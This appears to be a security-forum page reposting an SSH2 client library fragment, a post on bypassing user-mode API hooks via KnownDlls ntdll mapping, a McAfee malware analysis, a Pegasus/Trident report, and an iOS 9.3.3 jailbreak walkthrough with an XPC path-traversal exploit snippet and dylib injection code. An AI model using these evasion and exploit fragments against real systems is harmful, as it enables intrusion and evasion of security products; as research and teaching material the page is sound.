= '<- ' . $temp . ' (' . round($stop - $start, 4) . 's)'; if (NET_SSH2_LOGGING == NET_SSH2_LOG_COMPLEX) { $this->message_log[] = substr($payload, 1); } } return $this->_filter($payload); } function _filter($payload) { switch (ord($payload[0])) { case NET_SSH2_MSG_DISCONNECT: $this->_string_shift($payload, 1); extract(unpack('Nreason_code/Nlength', $this->_string_shift($payload, 8))); $this->errors[] = 'SSH_MSG_DISCONNECT: ' . $this->disconnect_reasons[$reason_code] . "\r\n" . utf8_decode($this->_string_shift($payload, $length)); $this->bitmask = 0; return false; case NET_SSH2_MSG_IGNORE: $payload = $this->_get_binary_packet(); break; case NET_SSH2_MSG_DEBUG: $this->_string_shift($payload, 2); extract(unpack('Nlength', $this->_string_shift($payload, 4))); $this->errors[] = 'SSH_MSG_DEBUG: ' . utf8_decode($this->_string_shift($payload, $length)); $payload = $this->_get_binary_packet(); break; case NET_SSH2_MSG_UNIMPLEMENTED: return false; case NET_SSH2_MSG_KEXINIT: if ($this->session_id !== false) { if (!$this->_key_exchange($payload)) { $this->bitmask = 0; return false; } $payload = $this->_get_binary_packet(); } } if (($this->bitmap & NET_SSH2_MASK_CONSTRUCTOR) && !($this->bitmap & NET_SSH2_MASK_LOGIN) && ord($payload[0]) == NET_SSH2_MSG_USERAUTH_BANNER) { $this->_string_shift($payload, 1); extract(unpack('Nlength', $this->_string_shift($payload, 4))); $this->errors[] = 'SSH_MSG_USERAUTH_BANNER: ' . utf8_decode($this->_string_shift($payload, $length)); $payload = $this->_get_binary_packet(); } if (($this->bitmap & NET_SSH2_MASK_CONSTRUCTOR) && ($this->bitmap & NET_SSH2_MASK_LOGIN)) { switch (ord($payload[0])) { case NET_SSH2_MSG_GLOBAL_REQUEST: $this->_string_shift($payload, 1); extract(unpack('Nlength', $this->_string_shift($payload))); $this->errors[] = 'SSH_MSG_GLOBAL_REQUEST: ' . utf8_decode($this->_string_shift($payload, $length)); if (!$this->_send_binary_packet(pack('C', NET_SSH2_MSG_REQUEST_FAILURE))) { return $this->_disconnect(NET_SSH2_DISCONNECT_BY_APPLICATION); } $payload = $this->_get_binary_packet(); break; case NET_SSH2_MSG_CHANNEL_OPEN: $this->_string_shift($payload, 1); extract(unpack('N', $this->_string_shift($payload, 4))); $this->errors[] = 'SSH_MSG_CHANNEL_OPEN: ' . utf8_decode($this->_string_shift($payload, $length)); $this->_string_shift($payload, 4); extract(unpack('Nserver_channel', $this->_string_shift($payload, 4))); $packet = pack('CN3a*Na*', NET_SSH2_MSG_REQUEST_FAILURE, $server_channel, NET_SSH2_OPEN_ADMINISTRATIVELY_PROHIBITED, 0, '', 0, ''); if (!$this->_send_binary_packet($packet)) { return $this->_disconnect(NET_SSH2_DISCONNECT_BY_APPLICATION); } $payload = $this->_get_binary_packet(); break; case NET_SSH2_MSG_CHANNEL_WINDOW_ADJUST: $payload = $this->_get_binary_packet(); } } return $payload; } function _get_channel_packet($client_channel, $skip_extended = false) { if (!empty($this->channel_buffers[$client_channel])) { return array_shift($this->channel_buffers[$client_channel]); } while (true) { $response = $this->_get_binary_packet(); if ($response === false) { user_error('Connection closed by server', E_USER_NOTICE); return false; } if (empty($response)) { return ''; } extract(unpack('Ctype/Nchannel', $this->_string_shift($response, 5))); switch ($this->channel_status[$channel]) { case NET_SSH2_MSG_CHANNEL_OPEN: switch ($type) { case NET_SSH2_MSG_CHANNEL_OPEN_CONFIRMATION: extract(unpack('Nserver_channel', $this->_string_shift($response, 4))); $this->server_channels[$client_channel] = $server_channel; $this->_string_shift($response, 4); $temp = unpack('Npacket_size_client_to_server', $this->_string_shift($response, 4)); $this->packet_size_client_to_server[$client_channel] = $temp['packet_size_client_to_server']; return true; default: user_error('Unable to open channel', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_BY_APPLICATION); } break; case NET_SSH2_MSG_CHANNEL_REQUEST: switch ($type) { case NET_SSH2_MSG_CHANNEL_SUCCESS: return true; default: user_error('Unable to request pseudo-terminal', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_BY_APPLICATION); } } switch ($type) { case NET_SSH2_MSG_CHANNEL_DATA: extract(unpack('Nlength', $this->_string_shift($response, 4))); $data = $this->_string_shift($response, $length); if ($client_channel == $channel) { return $data; } if (!isset($this->channel_buffers[$client_channel])) { $this->channel_buffers[$client_channel] = array(); } $this->channel_buffers[$client_channel][] = $data; break; case NET_SSH2_MSG_CHANNEL_EXTENDED_DATA: if ($skip_extended) { break; } extract(unpack('Ndata_type_code/Nlength', $this->_string_shift($response, 8))); $data = $this->_string_shift($response, $length); if ($client_channel == $channel) { return $data; } if (!isset($this->channel_buffers[$client_channel])) { $this->channel_buffers[$client_channel] = array(); } $this->channel_buffers[$client_channel][] = $data; break; case NET_SSH2_MSG_CHANNEL_REQUEST: extract(unpack('Nlength', $this->_string_shift($response, 4))); $value = $this->_string_shift($response, $length); switch ($value) { case 'exit-signal': $this->_string_shift($response, 1); extract(unpack('Nlength', $this->_string_shift($response, 4))); $this->errors[] = 'SSH_MSG_CHANNEL_REQUEST (exit-signal): ' . $this->_string_shift($response, $length); $this->_string_shift($response, 1); extract(unpack('Nlength', $this->_string_shift($response, 4))); if ($length) { $this->errors[count($this->errors) ].= "\r\n" . $this->_string_shift($response, $length); } default: break; } break; case NET_SSH2_MSG_CHANNEL_CLOSE: $this->_send_binary_packet(pack('CN', NET_SSH2_MSG_CHANNEL_CLOSE, $this->server_channels[$channel])); return true; case NET_SSH2_MSG_CHANNEL_EOF: break; default: user_error('Error reading channel data', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_BY_APPLICATION); } } } function _send_binary_packet($data) { if (feof($this->fsock)) { user_error('Connection closed prematurely', E_USER_NOTICE); return false; } $packet_length = strlen($data) + 9; $packet_length+= (($this->encrypt_block_size - 1) * $packet_length) % $this->encrypt_block_size; $padding_length = $packet_length - strlen($data) - 5; $padding = ''; for ($i = 0; $i < $padding_length; $i++) { $padding.= chr(crypt_random(0, 255)); } $packet = pack('NCa*', $packet_length - 4, $padding_length, $data . $padding); $hmac = $this->hmac_create !== false ? $this->hmac_create->hash(pack('Na*', $this->send_seq_no, $packet)) : ''; $this->send_seq_no++; if ($this->encrypt !== false) { $packet = $this->encrypt->encrypt($packet); } $packet.= $hmac; $start = strtok(microtime() , ' ') + strtok(''); $result = strlen($packet) == fputs($this->fsock, $packet); $stop = strtok(microtime() , ' ') + strtok(''); if (defined('NET_SSH2_LOGGING')) { $temp = isset($this->message_numbers[ord($data[0]) ]) ? $this->message_numbers[ord($data[0]) ] : 'UNKNOWN (' . ord($data[0]) . ')'; $this->message_number_log[] = '-> ' . $temp . ' (' . round($stop - $start, 4) . 's)'; if (NET_SSH2_LOGGING == NET_SSH2_LOG_COMPLEX) { $this->message_log[] = substr($data, 1); } } return $result; } function _send_channel_packet($client_channel, $data) { while (strlen($data) > $this->packet_size_client_to_server[$client_channel]) { $this->window_size_client_to_server[$client_channel]-= $this->packet_size_client_to_server[$client_channel]; if ($this->window_size_client_to_server[$client_channel] < 0) { $packet = pack('CNN', NET_SSH2_MSG_CHANNEL_WINDOW_ADJUST, $this->server_channels[$client_channel], $this->window_size); if (!$this->_send_binary_packet($packet)) { return false; } $this->window_size_client_to_server[$client_channel]+= $this->window_size; } $packet = pack('CN2a*', NET_SSH2_MSG_CHANNEL_DATA, $this->server_channels[$client_channel], $this->packet_size_client_to_server[$client_channel], $this->_string_shift($data, $this->packet_size_client_to_server[$client_channel])); if (!$this->_send_binary_packet($packet)) { return false; } } $this->window_size_client_to_server[$client_channel]-= strlen($data); if ($this->window_size_client_to_server[$client_channel] < 0) { $packet = pack('CNN', NET_SSH2_MSG_CHANNEL_WINDOW_ADJUST, $this->server_channels[$client_channel], $this->window_size); if (!$this->_send_binary_packet($packet)) { return false; } $this->window_size_client_to_server[$client_channel]+= $this->window_size; } return $this->_send_binary_packet(pack('CN2a*', NET_SSH2_MSG_CHANNEL_DATA, $this->server_channels[$client_channel], strlen($data) , $data)); } function _close_channel($client_channel) { $packet = pack('CN', NET_SSH2_MSG_CHANNEL_EOF, $this->server_channels[$client_channel]); if (!$this->_send_binary_packet($packet)) { return false; } while ($this->_get_channel_packet($client_channel) !== true); } function _disconnect($reason) { if ($this->bitmap) { $data = pack('CNNa*Na*', NET_SSH2_MSG_DISCONNECT, $reason, 0, '', 0, ''); $this->_send_binary_packet($data); $this->bitmap = 0; fclose($this->fsock); return false; } } function _string_shift(&$string, $index = 1) { $substr = substr($string, 0, $index); $string = substr($string, $index); return $substr; } function _define_array() { $args = func_get_args(); foreach($args as $arg) { foreach($arg as $key => $value) { if (!defined($value)) { define($value, $key); } else { break 2; } } } } function getLog() { if (!defined('NET_SSH2_LOGGING')) { return false; } switch (NET_SSH2_LOGGING) { case NET_SSH2_LOG_SIMPLE: return $this->message_number_log; break; case NET_SSH2_LOG_COMPLEX: return $this->_format_log($this->message_log, $this->message_number_log); break; default: return false; } } function _format_log($message_log, $message_number_log) { static $boundary = ':', $long_width = 65, $short_width = 16; $output = ''; for ($i = 0; $i < count($message_log); $i++) { $output.= $message_number_log[$i] . "\r\n"; $current_log = $message_log[$i]; $j = 0; do { if (!empty($current_log)) { $output.= str_pad(dechex($j) , 7, '0', STR_PAD_LEFT) . '0 '; } $fragment = $this->_string_shift($current_log, $short_width); $hex = substr(preg_replace('#(.)#es', '"' . $boundary . '" . str_pad(dechex(ord(substr("\\1", -1))), 2, "0", STR_PAD_LEFT)', $fragment) , strlen($boundary)); $raw = preg_replace('#[^\x20-\x7E]|<#', '.', $fragment); $output.= str_pad($hex, $long_width - $short_width, ' ') . $raw . "\r\n"; $j++; } while (!empty($current_log)); $output.= "\r\n"; } return $output; } function getErrors() { return $this->errors; } function getLastError() { return $this->errors[count($this->errors) - 1]; } function getServerIdentification() { return $this->server_identifier; } function getKexAlgorithms() { return $this->kex_algorithms; } function getServerHostKeyAlgorithms() { return $this->server_host_key_algorithms; } function getEncryptionAlgorithmsClient2Server() { return $this->encryption_algorithms_client_to_server; } function getEncryptionAlgorithmsServer2Client() { return $this->encryption_algorithms_server_to_client; } function getMACAlgorithmsClient2Server() { return $this->mac_algorithms_client_to_server; } function getMACAlgorithmsServer2Client() { return $this->mac_algorithms_server_to_client; } function getCompressionAlgorithmsClient2Server() { return $this->compression_algorithms_client_to_server; } function getCompressionAlgorithmsServer2Client() { return $this->compression_algorithms_server_to_client; } function getLanguagesServer2Client() { return $this->languages_server_to_client; } function getLanguagesClient2Server() { return $this->languages_client_to_server; } function getServerPublicHostKey() { $signature = $this->signature; $server_public_host_key = $this->server_public_host_key; extract(unpack('Nlength', $this->_string_shift($server_public_host_key, 4))); $this->_string_shift($server_public_host_key, $length); switch ($this->signature_format) { case 'ssh-dss': $temp = unpack('Nlength', $this->_string_shift($server_public_host_key, 4)); $p = new Math_BigInteger($this->_string_shift($server_public_host_key, $temp['length']) , -256); $temp = unpack('Nlength', $this->_string_shift($server_public_host_key, 4)); $q = new Math_BigInteger($this->_string_shift($server_public_host_key, $temp['length']) , -256); $temp = unpack('Nlength', $this->_string_shift($server_public_host_key, 4)); $g = new Math_BigInteger($this->_string_shift($server_public_host_key, $temp['length']) , -256); $temp = unpack('Nlength', $this->_string_shift($server_public_host_key, 4)); $y = new Math_BigInteger($this->_string_shift($server_public_host_key, $temp['length']) , -256); $temp = unpack('Nlength', $this->_string_shift($signature, 4)); if ($temp['length'] != 40) { user_error('Invalid signature', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } $r = new Math_BigInteger($this->_string_shift($signature, 20) , 256); $s = new Math_BigInteger($this->_string_shift($signature, 20) , 256); if ($r->compare($q) >= 0 || $s->compare($q) >= 0) { user_error('Invalid signature', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } $w = $s->modInverse($q); $u1 = $w->multiply(new Math_BigInteger(sha1($this->exchange_hash) , 16)); list(, $u1) = $u1->divide($q); $u2 = $w->multiply($r); list(, $u2) = $u2->divide($q); $g = $g->modPow($u1, $p); $y = $y->modPow($u2, $p); $v = $g->multiply($y); list(, $v) = $v->divide($p); list(, $v) = $v->divide($q); if (!$v->equals($r)) { user_error('Bad server signature', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_HOST_KEY_NOT_VERIFIABLE); } break; case 'ssh-rsa': $temp = unpack('Nlength', $this->_string_shift($server_public_host_key, 4)); $e = new Math_BigInteger($this->_string_shift($server_public_host_key, $temp['length']) , -256); $temp = unpack('Nlength', $this->_string_shift($server_public_host_key, 4)); $n = new Math_BigInteger($this->_string_shift($server_public_host_key, $temp['length']) , -256); $nLength = $temp['length']; $temp = unpack('Nlength', $this->_string_shift($signature, 4)); $s = new Math_BigInteger($this->_string_shift($signature, $temp['length']) , 256); if ($s->compare(new Math_BigInteger()) < 0 || $s->compare($n->subtract(new Math_BigInteger(1))) > 0) { user_error('Invalid signature', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_KEY_EXCHANGE_FAILED); } $s = $s->modPow($e, $n); $s = $s->toBytes(); $h = pack('N4H*', 0x00302130, 0x0906052B, 0x0E03021A, 0x05000414, sha1($this->exchange_hash)); $h = chr(0x01) . str_repeat(chr(0xFF) , $nLength - 3 - strlen($h)) . $h; if ($s != $h) { user_error('Bad server signature', E_USER_NOTICE); return $this->_disconnect(NET_SSH2_DISCONNECT_HOST_KEY_NOT_VERIFIABLE); } } return $this->server_public_host_key; } }
  6. Bypassing user-mode the sneaky way AUGUST 26, 2016 SCORCHSECURITY1 COMMENT I recently arrived upon a post on the breakdev blog that talked about a technique for bypassing user-mode hooks that I hadn’t seen before. The writer of the post hadn’t yet written an implementation of this technique (I asked him the other day), so I took it upon myself to write a proof-of-concept. Someone in the comments by the name of Xenocite suggested an alternate way of going about the process, which I will talk about further down. For those who have not already read the breakdev post, the technique that the poster talked about was bypassing user-mode winapi hooks by loading a completely fresh copy of ntdll.dll. (ntdll.dll specifically because it doesn’t require any imports — all its exported functions are ultimately wrappers for syscalls.) As the post pointed out, it would be possible to load a fresh copy of kernel32.dll or user32.dll, but those would require a bit more code to recursively load all the imports. As a result, loading ntdll.dll is much simpler. Even though ntdll doesn’t have any imports, one still has to parse the pe format and load everything where it’s supposed to be. This is not difficult, just a bit annoying. This annoyingness can be circumvented, as Xenocite pointed out, by loading the ntdll from the knowndlls global section. Before I explain how to access the knowndlls section, I need to give a bit of background on windows sections. Right from msdn, a section object is defined as “a section of memory that can be shared. A process can use a section object to share parts of its memory address space (memory sections) with other processes. Section objects also provide the mechanism by which a process can map a file into its memory address space.” Therefore, you can open “\\KnownDlls\\ntdll.dll” with NtOpenSection and then map it into the current process with NtMapViewOfSection. Overall, this is quite straightforward. The undocumented ntapi can be a bit finicky, but after a bit wrangling, the ntapi can be beaten into submission. The initializing routine goes as follows: NtOpenSection = (fnNtOpenSection)ResolveFunction(peb_ntdll, "NtOpenSection"); NtMapViewOfSection = (fnNtMapViewOfSection)ResolveFunction(peb_ntdll, "NtMapViewOfSection"); NewRtlInitUnicodeString(&ntSectionName, section_path); InitializeObjectAttributes(&ObjAttrs, &ntSectionName, OBJ_CASE_INSENSITIVE, NULL, NULL); Now, you could use GetModuleHandleW(L"ntdll.dll") to get a handle to ntdll, but GetModuleHandleW could be hooked and it just not as cool as parsing the PEB. That’s technique used in most (all?) windows shellcode. The code to parse the peb to get a handle to ntdll in c is as follows: // resolve PEB #ifdef _WIN64 peb_navigator = __readgsqword(0x60); #else #ifdef _WIN32 peb_navigator = __readfsdword(0x30); #endif #endif peb_navigator = (ULONG_PTR)((PPEB)peb_navigator)->Ldr; peb_navigator = (ULONG_PTR)((PPEB_LDR_DATA)peb_navigator)->InMemoryOrderModuleList.Flink; peb_navigator = DEREF(peb_navigator); #ifdef _WIN64 peb_ntdll = (HMODULE)DEREF(peb_navigator + 0x20); #else #ifdef _WIN32 peb_ntdll = (HMODULE)DEREF(peb_navigator + 0x10); #endif #endif Since this needs to work on both x86 and x64, I can’t use inline asm and have to use compiler intrinsics to access the gs and fs registers. Here’s a link to the github repository. If anyone has any suggestions, criticism, or needs help, please post a comment or contact me as per the contact page. Also, if anyone has any ideas for future posts, please let me know. Sursa: https://scorchsecurity.wordpress.com/2016/08/26/bypassing-user-mode-the-sneaky-way/
  7. Malware Hides in Installer to Avoid Detection By Satish Chimakurthi on Aug 25, 2016 At McAfee Labs we recently observed various threat families using the Nullsoft Scriptable Install System (NSIS). This practice is not new, but our analysis shows that several malware families are employing the same technique to hide their packed executable code. Usually every malware family uses its own polymorphic packers to obfuscate its payload. In this case four families have the same executable format to hide the malicious code. The malicious NSIS package contains a DLL (acting as a decryptor and injector) and an encrypted executable payload. Once onboard an infected machine, the NSIS package drops a DLL and two data files and loads the DLL. The DLL decrypts the two data files and executes the final payload using process hollowing, a technique used by malware in which the original code is replaced with malicious code. If we were to analyze the DLL alone, we would not conclude that it was malicious because it relies on encrypted data in the two data files. We found four malware families using this technique: Cerber Gamarue Kovter ZCrypt Propagation The malware are distributed via spam campaigns: A ZIP archive contains the executable: NSIS file identification The start of the overlay+8 offset contains the “NullsoftInst” string: Malicious NSIS package The sample we analyzed has the following components inside the NSIS package. e: Data file contains encrypted APIs used for process hollowing. fsv: Data file contains the final encrypted payload. dll: Malicious DLL decrypts data files and executes the process hollowing. The encrypted data file geanticline.e: The decrypted geanticline.e: The encrypted payload (tache.fsv): The decrypted payload: Decryption code for process hollowing APIs Code in OpenCandy.dll decrypts both data files. The following code accesses the files: The decryption key that unlocks the data file lies in the data filename itself. The decryption logic appears in the following screen: An XOR operation decrypts the data file. Decryption code for payload We found the decryption key resides inside the DLL and varies among the malware families. Decryption key location: Decryption code: Decryption logic for process hollowing We employed python to write the decryption logic used by the malware. The encrypted data file path should be passed as an argument. For each malware family, the value of MAXKEYINDEX can be changed or be equal to KEYLEN. Decryption logic for payload Evading security products Because the malicious payload and APIs are in encrypted and do not fall under any specific file formats, antimalware scanners will usually omit scanning these files. They also act as efficient hash busters and easily bypass emulation techniques. When these files are copied into other directories, the malware keep the NSIS file format to strengthen their defense. We also noticed that the decryption logic varies slightly among the malware. MD5 hash: 5AF3BED65AEF6F0113F96FD3E8B67F7A I would like to thank my colleagues Sivagnanam G N and Manjunatha Shankaranarayana for their help with this analysis. Sursa: https://blogs.mcafee.com/mcafee-labs/malware-hides-in-installer-to-avoid-detection/
  8. August 25, 2016 Sophisticated, persistent mobile attack against high-value targets on iOS By Lookout and Citizen Lab 0 Comments Persistent, enterprise-class spyware is an underestimated problem on mobile devices. However, targeted attack scenarios against high-value mobile users are a real threat. Citizen Lab (Munk School of Global Affairs, University of Toronto) and Lookout have uncovered an active threat using three critical iOS zero-day vulnerabilities that, when exploited, form an attack chain that subverts even Apple’s strong security environment. We call these vulnerabilities “Trident.” Our two organizations have worked directly with Apple’s security team, which was very responsive and immediately fixed all three Trident iOS vulnerabilities in its 9.3.5 patch. All individuals should update to the latest version of iOS immediately. If you’re unsure what version you’re running, you can check Settings > General > About > Version. Lookout will send an alert to a customer’s phone any time a new update is available. Lookout’s products also detect and alert customers to this threat. Trident is used in a spyware product called Pegasus, which according to an investigation by Citizen Lab, is developed by an organization called NSO Group. NSO Group is an Israeli-based organization that was acquired by U.S. company Francisco Partners Management in 2010, and according to news reports specializes in “cyber war.” Pegasus is highly advanced in its use of zero-days, obfuscation, encryption, and kernel-level exploitation. We have created two reports that discuss the use of this targeted attack against political dissidents and provide a detailed analysis of the malicious code itself. In its report, Citizen Lab details how attackers targeted a human rights defender with mobile spyware, providing evidence that governments digitally harass perceived enemies, including activists, journalists, and human rights workers. In its report, Lookout provides an in-depth technical look at the targeted espionage attack that is actively being used against iOS users throughout the world. The overview Ahmed Mansoor is an internationally recognized human rights defender and a Martin Ennals Award Laureate (sometimes referred to as a “Nobel prize for human rights”), based in the United Arab Emirates (UAE). On August 10th and 11th, he received text messages promising “secrets” about detainees tortured in UAE jails if he clicked on an included link. Instead of clicking, Mansoor sent the messages to Citizen Lab researchers. Recognizing the links as belonging to an exploit infrastructure connected to NSO group, Citizen Lab collaborated with Lookout to determine that the links led to a chain of zero-day exploits that would have jailbroken Mansoor’s iPhone and installed sophisticated malware. This marks the third time Mansoor has been targeted with “lawful intercept” malware. Previous Citizen Lab research found that in 2011 he was targeted with FinFisher spyware, and in 2012 with Hacking Team spyware. The use of such expensive tools against Mansoor shows the lengths that governments are willing to go to target activists. Citizen Lab also found evidence that state-sponsored actors used NSO’s exploit infrastructure against a Mexican journalist who reported on corruption by Mexico’s head of state, and an unknown target or targets in Kenya. The NSO group used fake domains, impersonating sites such as the International Committee for the Red Cross, the U.K. government’s visa application processing website, and a wide range of news organizations and major technology companies. This nods toward the targeted nature of this software. The Pegasus spyware Pegasus is the most sophisticated attack we’ve seen on any endpoint because it takes advantage of how integrated mobile devices are in our lives and the combination of features only available on mobile — always connected (WiFi, 3G/4G), voice communications, camera, email, messaging, GPS, passwords, and contact lists. It is modular to allow for customization and uses strong encryption to evade detection. Lookout’s analysis determined that the malware exploits three zero-day vulnerabilities, or Trident, in Apple iOS: CVE-2016-4655: Information leak in Kernel – A kernel base mapping vulnerability that leaks information to the attacker allowing him to calculate the kernel’s location in memory. CVE-2016-4656: Kernel Memory corruption leads to Jailbreak – 32 and 64 bit iOS kernel-level vulnerabilities that allow the attacker to silently jailbreak the device and install surveillance software. CVE-2016-4657: Memory Corruption in Webkit – A vulnerability in the Safari WebKit that allows the attacker to compromise the device when the user clicks on a link. The attack sequence, boiled down, is a classic phishing scheme: send text message, open web browser, load page, exploit vulnerabilities, install persistent software to gather information. This, however, happens invisibly and silently, such that victims do not know they’ve been compromised. In this case, the software is highly configurable: depending on the country of use and feature sets purchased by the user, the spyware capabilities include accessing messages, calls, emails, logs, and more from apps including Gmail, Facebook, Skype, WhatsApp, Viber, FaceTime, Calendar, Line, Mail.Ru, WeChat, SS, Tango, and others. The kit appears to persist even when the device software is updated and can update itself to easily replace exploits if they become obsolete. We believe that this spyware has been in the wild for a significant amount of time based on some of the indicators within the code (e.g., a kernel mapping table that has values all the way back to iOS 7). It is also being used to attack high-value targets for multiple purposes, including high-level corporate espionage on iOS, Android, and Blackberry. To learn more Our reports provide in-depth information about the threat actor as well as their software and the vulnerabilities exploited — Citizen Lab has tracked the actor’s political exploits around the world, while Lookout has focused on the technical details of the malware from the beginning of the exploit chain to its use. Our reports include detailed analysis of the Trident iOS vulnerabilities that are patched in the 9.3.5 release from Apple, as well as the various components of the espionage software. Lookout customers: Read this document on how to tell if you’re impacted by this attack. Think you’ve encountered a suspicious link such as the ones described above? Email support@lookout.com. Research teams: Citizen Lab: Bill Marczak and John Scott-Railton, Senior Fellows Lookout: Max Bazaily, Andrew Blaich, Kristy Edwards, Michael Flossman, Seth Hardy, Staff Security Researchers, Mike Murray, VP of Security Research Read more: Sophisticated, persistent mobile attack against high-value targets on iOS (https://blog.lookout.com/blog/2016/08/25/trident-pegasus/)
  9. What is the jailbreak for iOS 9.3.3 actually doing? – Part 1 Friday 26 August 2016/by James Shanahan Many people who jailbreak their devices are unaware of the vulnerabilities being exploited in order to gain privileged access to the underlying iOS operating system. Users typically jailbreak devices in order to install applications that have not undergone Apple’s software evaluation process. This post will explore the low level mechanics of the iOS 9.3.3 jailbreak as an educational case study. There are many restrictions in place that are enforced for applications and users. A Jailbreak ultimately requires a bug in the kernel that can be exploited. Restrictions include KASLR, SMAP, KPP and the App Sandbox. In order to gain access to the kernel, there are typically multiple software flaws and misconfigurations that must be leveraged, which then leads to access as a privileged and unrestricted user. Overview of iOS Security Architecture Below is a high level diagram of the iOS Security Architecture that demonstrates security controls that are in place between the hardware/firmware and software. ios security architecture The App Sandbox is desinged to ensure that apps are doing what they’re supposed to do. It is also there to protect applications from unintential bugs that may be introduced through flaws in the code or inherited from a framework. Contrary to an application without App Sandbox, an application with App Sandbox limits the resources on a per app basis to protect from such flaws. App Sandbox is there as a last line of defenese against varrious attacks that can be utlized to gain access, delete, or corrupt data pertaining to the targeted application. The image below depicts how an application is protected using the App Sandbox. With and without App sandbox XPC XPC is an advanced framework that is built on Mach messages and simplifies low level Inter-process Communication (IPC). XPC allows communication between Application and System services. These messages are passed between an XPC Server and XPC Client. XPC is widely used by system frameworks and first-party applications. You can run the following command to survey the inventory of XPC services that are on a given iOS or OS X system: find /Applications -name \*.xpc Exploiting Userland vulnerability in assetsd via XPC message Now we understand some of the various technologies used to mitigate certain issues targeting iOS applications, as well as some of those that will be used as an exploit vehicle to trigger Userlandcode execution. Let’s take a look at how the iOS 9.3.3 Jailbreak works under the hood. A vulnerability exists in assetsd that allows files and directories to me moved to a new location. In iOS 9.3.3 container apps can communicate with a service provided by /System/Library/Frameworks/AssetsLibrary.framework named com.apple.PeristentURLTranslator.Gatekeepervia XPC. There is a method that allows a user to move a specified file or directory in/var/mobile/MEDIA/DCIM. The problem is that srcPath and destSubdir are derived from user input retrieved in XPC messages which lack validation. It is possible to use commonly known path traversal tricks such as ../ in the srcPath and destSubdir parameters which lead to arbitrary file reads/writes as the iOS mobile user. This is what a sample XPC message that triggers the issue in assetsd would look like: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // code snippet – thx Pangu xpc_connection_t client = xpc_connection_create_mac_service("com.apple.PersistentURLTranslator.Gatekeeper", NULL, 0); xpc_connection_set_event_handler(client, ^void(xpc_object_t_response) { }); xpc_connection_resume(client); xpc_object_t_ dict = xpc_dictionary_create(NULL, NULL, ); NSString *dstPATH = [@"../../../../../../../" stringByAppendingPathCompnent:dest]; xpc_dictionary_set_string(dict, "srcPath", [src UTF8String]); xpc_dictionary_set_string(dict, "destSubdir", [dstPath UTF8String]); xpc_dictionary_set_int64(dict, "transactionID", 4); xpc_dictionary_set_int64(dict, "operation", 4); xpc_object_t reply = xpc_connection_send_message_with_reply_sync(client, dict); The issue is triggered on line 10. Utilizing dyld (Dynamic Linker) to Get Arbitrary Code Execution To inject a dylib into a system process, an attacker can utilise the DYLD_INSERT_LIBRARIESenvironment variable, but the executable must have the get-task-allow entitlement. The Pangu team checked all executables in iOS 9 and did not identify one that had the get-task-allowentitlement. They were excited to find that the developer disk images (DDI) did allow this by running the following command: codesign -d --entitlements - .//usr/libexec/vpnagent That command above produces the following output which proves that vpnagent has the entitlement needed: 1 2 3 4 <plist version=1.0> <dict> <key>get-task-allow</key> <true/> In order to make this executable, the old Developer Disk Image (DDI) that contains vpnagentshould be mounted. Even though a failure will occur, MobileStorageMounter will register the trustcache hash values for executables which is signed by Apple. MobileStorageMounter will then notify the kernel that vpnagent is a platform binary without creating any code signing failures on iOS 9. The kernel enforces the sandbox profile for a particular executable in a couple of different ways. First, the default container sandbox profile will be applied if the vpnagent executable is located in/private/var/mobile/Containers/Data/. If the executable is located somewhere else on the system, the kernel will apply the seatbelt-profile, which is specified in the executable’s signature segment. A sample of what one may look like is as follows: 1 2 3 4 (version 1) (debug allow) (allow process*) (deny default) Enabling Debugging In order to enable debug server on iOS 9 a normal DDI should be mounted. Utilizing assetsd Path Traversal XPC Vulnerability to Execute Arbitrary Code The next step is to send a specifically crafted XPC message to exploit a path traversal vulnerability inassetsd to move the vpnagent from the DDI to a place that the debugserver has access to. Once the executable is moved to a path outside of /private/var/mobile/Containers/Data, the sandbox seatbelt-profile will be applied. This will ensure that the kernel does not apply the default sandbox profile. Putting the VPN Agent in Debug Mode and Performing Code Injection Once this has been performed, the debugserver will allow a process with the get-task-allowentitlement to continually run even if code signing invalidation occurs. A dylib can now be injected using the DYLD_INSERT_LIBRARIES environment variable. DYLD_INSERT_LIBRARIES is very similar to LD_PRELOAD on Linux. The signature of a system binary should be used when loading the dylib so that the kernel will believe that the vpnagent is loading an iOS 9 system binary. Below is sample code that demonstrates simple code injection on OS X: #import "ACCalculatorOverrides.h" #include <stdio.h> #include <objc/runtime.h> #include <Foundation/Foundation.h> #include <AppKit/AppKit.h> static IMP sOriginalImp = NULL; @implementation ACCalculatorOverrides +(void)load { // We replace the method -[CalculatorController showAbout:] with the method -[ACCalculatorOverrides patchedShowAbout:] Class originalClass = NSClassFromString(@"CalculatorController"); Method originalMeth = class_getInstanceMethod(originalClass, @selector(showAbout:)); sOriginalImp = method_getImplementation(originalMeth); Method replacementMeth = class_getInstanceMethod(NSClassFromString(@"ACCalculatorOverrides"), @selector(patchedShowAbout:)); method_exchangeImplementations(originalMeth, replacementMeth); } -(void)patchedShowAbout:(id)sender { // We first call the original method to display the original About Box sOriginalImp(self, @selector(showAbout:), self); // Run our custom code which simply display an alert NSAlert *alert = [NSAlert alertWithMessageText:@"Code has been injected!" defaultButton:@"OK" alternateButton:nil otherButton:nil informativeTextWithFormat:@"The code has been injected using DYLD_INSERT_LIBRARIES into Calculator.app"]; [alert runModal]; } @end The following command will build this dynamic library: gcc -framework AppKit -framework Foundation -o CalculatorOverrides.dylib -dynamiclibACCalculatorOverrides.m The final step is to inject it into the application: DYLD_INSERT_LIBRARIES=/PATH_TO/CalculatorOverrides.dylib/Applications/Calculator.app/Contents/MacOS/Calculator &amp; This will result in the following: Performing code injection using dylib As shown above, an alert box was injected. This will be utilised in a similar fashion to exploit the next series of vulnerabilities that will allow a user gain access to the device as a privileged user. Conclusion Most users are unaware that Jailbreaking devices requires the exploitation of security flaws and configuration weaknesses that exist on a particular version of iOS or an application running on their device. These same vulnerabilities can be exploited by those with real malicious intent. Even then, considering the Jailbreak teams do not provide complete source and steps required to jailbreak, it is hard to tell everything that they may be doing. Further details will be covered in the next blog post. [Part 2 – To be Continued] References Pangu Internals – 